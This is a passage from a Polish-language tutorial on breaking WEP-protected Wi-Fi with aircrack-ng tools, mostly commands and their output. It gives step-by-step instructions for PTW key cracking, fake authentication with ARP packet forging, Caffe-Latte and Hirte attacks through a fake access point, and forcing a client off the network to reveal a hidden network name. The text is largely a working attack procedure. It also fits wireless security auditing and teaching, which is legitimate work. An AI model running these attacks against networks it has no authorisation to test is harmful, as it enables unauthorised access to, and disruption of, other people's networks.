Mając przechwycone pakiety w pliku pakiety-01.cap (lub IV w pliku pakiety-01.ivs) możemy rozpocząć poszukiwanie klucza metodą PTW wydając polecenie:
# aircrack-ng pakiety-01.cap
|
Jeśli wiemy, że strumień klucza ma konkretną długość to możemy z tego skorzystać dodając przełącznik -n, np dla 128 bitowego strumienia klucza:
# aircrack-ng -n 128 pakiety-01.cap
|
Jeśli w pliku zebrane są dane z kilku sieci wybieramy właściwą (w naszym przypadku zebrane są dane tylko z jednej sieci - zostanie ona automatycznie wybrana).
Sniffowania i ataku nie musimy przerywać aby zacząć łamać klucz. Otwieramy po prostu nowy terminal i łamiemy w nim klucz, jeśli operacja nie powiedzie się (z powodu zbyt małej ilość IV), czekamy aż nazbiera się ich kilka tysięcy więcej (aircrack sugeruje 5000 więcej) i ponawiamy łamanie. Jest to szczególnie przydatnie, gdy zależy nam na czasie - nie musimy zbierać sugerowanych 40.000 pakietów, lecz zacząć łamać klucz już przy np. 5.000, w razie niepowodzenia nic nie tracimy (atak wciąż trwa a pakiety ciągle są zbierane do pliku).
A oto wynik ataku PTW:

Crackowanie klucza opiera się na analizie statystycznej. Mając przechwyconą wystarczającą ilość danych nominuje się poszczególne wartości bajtów na podstawie prawdopodobieństwa ich wystąpienia.
W kolumnie KB znajdują się kolejne zgadywane bajty klucza. Na rysunku jest to klucz 13 znakowy, ostatnie bajty można odgadywać metodą bruteforce dającą jeszcze szybszy wynik niż metoda statystyczna (ilość bajtów łamanych bruteforce w aircrack-ng kontroluje przełącznik -x0/-x1/-x2). Kolumna depth to głębokość poszukiwania. W kolumnie byte(vote) znajduje się lista najbardziej prawdopodobnych wartości dla danego bajtu wraz z oddanymi na niego głosami (w nawiasach).
Działanie programu należy odczytać tak:
Pierwszy bajt (0) ma najprawdopodobniej wartość 0x74. W następnej kolejności najbardziej prawdopodobna wartość to 0x9A, kolejna to 0xF4, dalej D0, itd.
Drugi bajt (1) to najprawdopodobniej 0x61. W następnej kolejności najbardziej prawdopodobna wartość to 0x35.
Trzeci bajt (2) to najprawdopodobniej 0x6A. W następnej kolejności najbardziej prawdopodobna wartość to 0x06.
itd., aż do ostatniego bajtu (12), który domyślnie będzie łamany metodą bruteforce (dlatego wartość najwyżej nominowana (0x37) jest akurat nieprawidłowa).
Składając z tego ciągu bajtów klucz, program był w stanie odnaleźć klucz 0x74 0x61 0x6A 0x6E 0x65 0x68 0x61 0x73 0x6C 0x6F 0x31 0x32 0x33, czyli ciąg znaków ASCII "tajnehaslo123".
Jak widzimy z przechwyconych ponad 40.000 pakietów uzyskaliśmy klucz WEP w ciągu dosłownie paru sekund.
Atak na WEP bez klientów
Przeprowadzenie ataku na sieć bez podłączonych klientów również jest możliwe.
W ataku tym adres MAC klienta zastępujemy naszym adresem MAC karty bezprzewodowej:
# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 00:1A:73:11:22:33
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
|
Podsumowując potrzebna dane do ataku:
ESSID: "test"
BSSID: 00:01:E3:11:22:33
Kanał: 1 (2.412 GHz)
MAC klienta: 00:1A:73:11:22:33 (wlan0)
Na początek przeprowadzamy fałszywą autoryzację (fakeauth):
# aireplay-ng -1 0 -a 00:01:E3:11:22:33 -h 00:1A:73:11:22:33 mon0
|
Po udanej autoryzacji musimy uzyskać właściwy strumień klucza (PRGA). Strumień klucza możemy uzyskać atakiem chopchop lub fragmentacyjnym. Zastosujemy drugi sposób:
# aireplay-ng -5 -b 00:01:E3:11:22:33 -h 00:1A:73:11:22:33 mon0
|
Uzyskaliśmy w ten sposób strumień klucza w pliku fragment-1125-093308.xor.
Skorzystamy teraz z programy packetforge-ng do skonstruowania pakietu zaszyfrowanego odzyskanym strumieniem klucza. Wygenerujemy pakietu ARP request i zapiszemy go do pliku arpreq:
# packetforge-ng -0 -a 00:01:E3:11:22:33 -h 00:1A:73:11:22:33 -k 255.255.255.255 -l 255.255.255.255 -y fragment-1124-232205.xor -w arpreq
Wrote packet to: arpreq
|
-0 to typ pakietu (ARP)
-a to adres MAC AP
-h to źródłowy adres MAC (nasz)
-k to źródłowy adres IP
-l to docelowy adres IP
-y to wejściowy plik z PRGA
-w to wyjściowy plik z utworzonym pakietem
Mając przygotowany pakiet ARP rozpoczynamy nasłuch:
# airodump-ng -c 1 --bssid 00:01:E3:11:22:33 -w pakiety2 mon0
|
a w drugim terminalu wysyłanie pakietów ARP:
# aireplay-ng -2 -r arpreq mon0
No source MAC (-h) specified. Using the device MAC (00:1A:73:11:22:33)
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:01:E3:11:22:33
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:1A:73:11:22:33
0x0000: 0841 0201 0001 e346 6345 001a 73a1 1d06 .A.....FcE..s...
0x0010: ffff ffff ffff 8001 6236 0600 5cc9 c672 ........b6..\..r
0x0020: 05b6 b5f9 18ab eedf b47b 2f9c dd0f e68e .........{/.....
0x0030: 8538 155f 562b 8169 72b3 e320 82f4 b4d9 .8._V+.ir.. ....
0x0040: 09d9 9c73 ...s
Use this packet ? y
|

Jak widzimy AP generuje pakiety. Możemy przystąpić do łamania klucza (metodą PTW):
# aircrack-ng pakiety2-01.cap
Opening pakiety2-01.cap
Read 185610 packets.
# BSSID ESSID Encryption
1 00:01:E3:11:22:33 test WEP (41912 IVs)
Choosing first network as target.
Opening pakiety2-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 41912 ivs.
Aircrack-ng 1.1 r1738
[00:00:00] Tested 745 keys (got 41853 IVs)
KB depth byte(vote)
0 0/ 8 74(55552) E7(51200) 96(49920) CD(49920) AF(49664) AA(49152) 5E(48896)
1 0/ 1 64(62464) 11(51200) 00(49664) 26(49408) BE(49408) E0(49408) 41(48896)
2 0/ 2 6A(58368) 0F(51200) 51(49920) E0(49920) 1E(48128) 27(48128) 71(48128)
3 20/ 3 C2(46592) 1C(46336) 35(46336) A8(46336) E3(46336) 23(46080) 2E(46080)
4 0/ 4 12(58112) 92(50432) D3(50432) CB(50176) 69(48896) 90(48640) F2(48640)
KEY FOUND! [ 74:61:6A:6E:65:68:61:73:6C:6F:31:32:33 ] (ASCII: tajnehaslo123 )
Decrypted correctly: 100%
|
Klucz został wydobyty.
Atak Caffe-Latte i atak Hirte (cfrag)
Ataki te pozwalają uzyskać klucz do sieci nie będąc w zasięgu AP. Skierowane są nie na AP lecz na odizolowanego klienta znającego klucz. Klienci bardzo często posiadają zapisane ustawienia dostępu do sieci i załączoną opcję autołączenia jeśli sieć jest w zasięgu.
Na wstępie zaznaczę, iż w moim przypadku zbieranie danych odbywało się nadzwyczaj wolno, praktycznie uniemożliwiając zebranie dostatecznej ilości danych w rozsądnym czasie (w takim tempie trwało by to całymi dniami). W zbieraniu danych pomagało przerywanie i wznawianie ataku.
Ataki są możliwe ponieważ klient nie uwierzytelnia AP a zarządzające ramki 802.11 nie są zabezpieczane pod względem autentyczności.
W ataku Caffe-Latte podszywamy się pod AP i odpowiadamy na żądania podłączenia klientów. Po pomyślnej fazie asocjacji czekamy na pakiety Gratuitous ARP (polskim tłumaczeniem może być "dobrowolny pakiet ARP").
Pakiety takie nie są wymagane przez specyfikację ARP (RFC 826) ale są wysyłane w celach pomocniczych, np. gdy zmienimy IP interfejsu sieciowego lub gdy załączymy interfejs.
W pakiecie tym źródłowy i docelowy adres IP ustawiane są na adres maszyny wysyłającej pakiet, a docelowy adres MAC ustawiany jest na adres broadcast FF:FF:FF:FF:FF:FF.
Każde urządzenie podłączając się do sieci generuje taki pakiet, aby poinformować inne urządzenia w sieci o zmianie swojego adresu IP/MAC. Są one pomocne w:
- detekcji konfliktów IP,
- aktualizacji tablicy ARP innych maszyn w sieci,
- aktualizacji tablicy MAC switchy w sieci.
Po asocjacji są dwie możliwości:
- Przy statycznych IP klient wysyła kilka pakietów Gratuitous ARP rozgłaszając swoje IP. Pakiety takie są oczywiście zaszyfrowane.
- Przy DHCP klient wysyła wiadomość DHCP Discover, nasz podszyty AP nie może odpowiedzieć na takie pakiety. Po pewnym czasie klient korzysta z autokonfiguracji IP (zeroconfig/APIPA). Po przydzieleniu sobie adresu IP klient wysyła kilka pakietów Gratuitous ARP rozgłaszając swoje IP
Wyłapując pakiet Gratuitous ARP przestawia się w nim źródłowy adres MAC i IP. Klient po odebraniu takiego adresu odpowiada pakietem ARP (zaszyfrowanym nowym IV). Ponawiamy wysyłanie zmodyfikowanego pakietu w celu uzyskania coraz to większej liczby pakietów od klienta.
Atak Hirte jest rozwinięciem ataku Caffe-Latte. Wyczekuje na pakiet ARP request lub pakiet IP od klienta po tym jak klient połączył się z fałszywym AP. Po przechwyceniu pakietu wyciąga z niego małą porcję PRGA i dzięki niej tworzy pakiet ARP request (wykorzystuje fragmentację) skierowany do klienta.
Przełączamy interfejs w tryb monitor:
Rozpoczynamy atak Caffe-Latte:
# airbase-ng -c 1 -e "test" -a 00:01:E3:11:22:33 -L -W 1 mon0
|
lub atak Hirte:
# airbase-ng -c 1 -e "test" -a 00:01:E3:11:22:33 -N -W 1 mon0
Created tap interface at0
Trying to set MTU on at0 to 1500
Access Point with BSSID 00:01:E3:11:22:33 started.
|
gdzie:
-c to kanał
-e to ESSID
-a to MAC AP
-L/N to atak Caffe-Latte/atak Hirte
-W 1 ustawia pakiety kontrolne (beacons) na WEP.
|
Po rozpoczęciu ataku utworzony zostanie dodatkowy interfejs at0. Interfejs ten może być wykorzystany do innego ataku (MIM - Man-In-The-Middle).
Gdy pojawia sie klient i zechce się podłączyć do naszego fałszywego AP (atak Caffe-Latte):
Client 00:23:45:11:22:33 associated (WEP) to ESSID: "test"
Client 00:23:45:11:22:33 associated (WEP) to ESSID: "test"
Client 00:23:45:11:22:33 associated (WEP) to ESSID: "test"
Client 00:23:45:11:22:33 associated (WEP) to ESSID: "test"
Starting Caffe-Latte attack against 00:23:45:11:22:33 at 100 pps.
|
lub (atak Hirte):
Client 00:23:45:11:22:33 associated (WEP) to ESSID: "test"
Starting Hirte attack against 00:23:45:11:22:33 at 100 pps.
|
Rozpoczynamy wówczas przechwytywanie pakietów (możemy je oczywiście rozpocząć już wcześniej):
# airodump-ng -c 1 --bssid 00:01:E3:11:22:33 -w atak mon0
|
Teraz sniffer powinien zacząć zbierać dane, które w końcu będziemy mogli wykorzystać do złamania klucza (np. metodą PTW [aircrack-ng] po zebraniu ok 40.000 pakietów).
Wykrywanie ESSID (sieć ukryta)
Gdy AP skonfigurowany jest jako widoczny, co pewien czas rozgłasza swoją obecność w sieci (broadcast). Ma to oczywiście na celu odnalezienie go przez klientów i podpięcie się do sieci.
Zazwyczaj AP pozwala na wyłączenie rozgłaszania ESSID. Jak sie zaraz okaże daje to złudne poczucie bezpieczeństwa. Nawet sieć ukryta może być w łatwy sposób odkryta.
Za każdym razem, gdy ktoś podłącza się do sieci jej ESSID jest przesyłany otwartym tekstem. Możemy więc poczekać, aż jakiś klient zechce się do niej podłączyć (i jest to najbezpieczniejsze rozwiązanie) lub zmusić podłączonego klienta do ponownej autoryzacji (taki atak można łatwo wykryć).
Ponieważ czekanie na podłączenie się klienta może być nudne, zastosujemy inwazyjną metodę odłączającą klienta od sieci. Spróbujemy poznać nazwę ukrytej sieci, której AP ma adres MAC 00:01:E3:11:22:33. Jest to ten sam AP z powyższych ataków, lecz tym razem jego ESSID został ukryty.
Rozpoczynamy od przygotowania interfejsu:
Standardowo rozpoczynamy nasłuch na pierwszym kanale:
# airodump-ng -c 1 mon0
CH 1 ][ Elapsed: 8 s ][ 2010-11-25 14:10
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:01:E3:11:22:33 -42 100 94 12 5 1 54 . WEP WEP <length: 4>
BSSID STATION PWR Rate Lost Packets Probes
00:01:E3:11:22:33 00:23:45:11:22:33 -40 0 -54 0 1
|
W ukrytych sieciach nazwa (ESSID) przedstawiona jest w snifferze jako <length: 4>, mówiąc nam jedynie że długość nazwy sieci wynosi 4 znaki.
Do AP podłączony jest już jeden klient o adresie MAC 00:23:45:11:22:33. Wykorzystamy go do zdradzenia nazwy sieci.
W drugim terminalu wysyłamy klientowi rządanie odłączenia od sieci:
# aireplay-ng -0 1 -a 00:01:E3:11:22:33 -c 00:23:45:11:22:33 mon0
14:10:36 Waiting for beacon frame (BSSID: 00:01:E3:11:22:33) on channel 1
14:10:36 Sending 64 directed DeAuth. STMAC: [00:23:45:11:22:33] [18|58 ACKs]
|
-0 1 oznacza przeprowadzenie 1 ataku deautoryzacji (w jednym ataku wysyłane są 64 ramki DeAuth)
-a określa adres MAC AP
-c określa, do którego klienta skierować atak
Sniffer (w pierwszym terminalu) powinien już wyłapać odpowiednie pakiety autoryzacyjne klienta ponownie łączącego się do AP, przez co nazwa sieci będzie już dla sniffera znana:
CH 1 ][ Elapsed: 52 s ][ 2010-11-25 14:12
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:01:E3:11:22:33 -46 100 126 119 8 1 54 . WEP WEP OPN test
BSSID STATION PWR Rate Lost Packets Probes
00:01:E3:11:22:33 00:23:45:11:22:33 -39 54 - 2 30 165 test
|
Test szybkości i jakości połączenia
Test jakości i szybkości połączenia z AP możemy wykonać przez polecenie:
# aireplay-ng -9 -a 00:01:E3:11:22:33 -e "test" -B mon0
23:09:46 Waiting for beacon frame (BSSID: 00:01:E3:11:22:33) on channel 1
23:09:46 Trying broadcast probe requests...
23:09:46 Injection is working!
23:09:48 Found 1 AP
23:09:48 Trying directed probe requests...
23:09:48 00:01:E3:11:22:33 - channel: 1 - 'test'
23:09:48 Ping (min/avg/max): 1.225ms/8.302ms/14.086ms Power: -44.00
23:09:48 30/30: 100%
23:09:48 Trying directed probe requests for all bitrates...
23:09:48 00:01:E3:11:22:33 - channel: 1 - 'test'
23:09:50 Probing at 1.0 Mbps: 28/30: 93%
23:09:51 Probing at 2.0 Mbps: 29/30: 96%
23:09:52 Probing at 5.5 Mbps: 29/30: 96%
23:09:53 Probing at 6.0 Mbps: 29/30: 96%
23:09:54 Probing at 9.0 Mbps: 29/30: 96%
23:09:55 Probing at 11.0 Mbps: 29/30: 96%
23:09:56 Probing at 12.0 Mbps: 27/30: 90%
23:09:57 Probing at 18.0 Mbps: 26/30: 86%
23:09:58 Probing at 24.0 Mbps: 28/30: 93%
23:09:59 Probing at 36.0 Mbps: 28/30: 93%
23:10:00 Probing at 48.0 Mbps: 29/30: 96%
23:10:00 Probing at 54.0 Mbps: 29/30: 96%
|
-9 to rodzaj ataku (test jakości)
-a to adres MAC AP
-e "test" to nazwa sieci
-B nakazuje wykonanie testu szybkości (bitrate)
[ Drukuj ] [ Wyślij stronę ] | |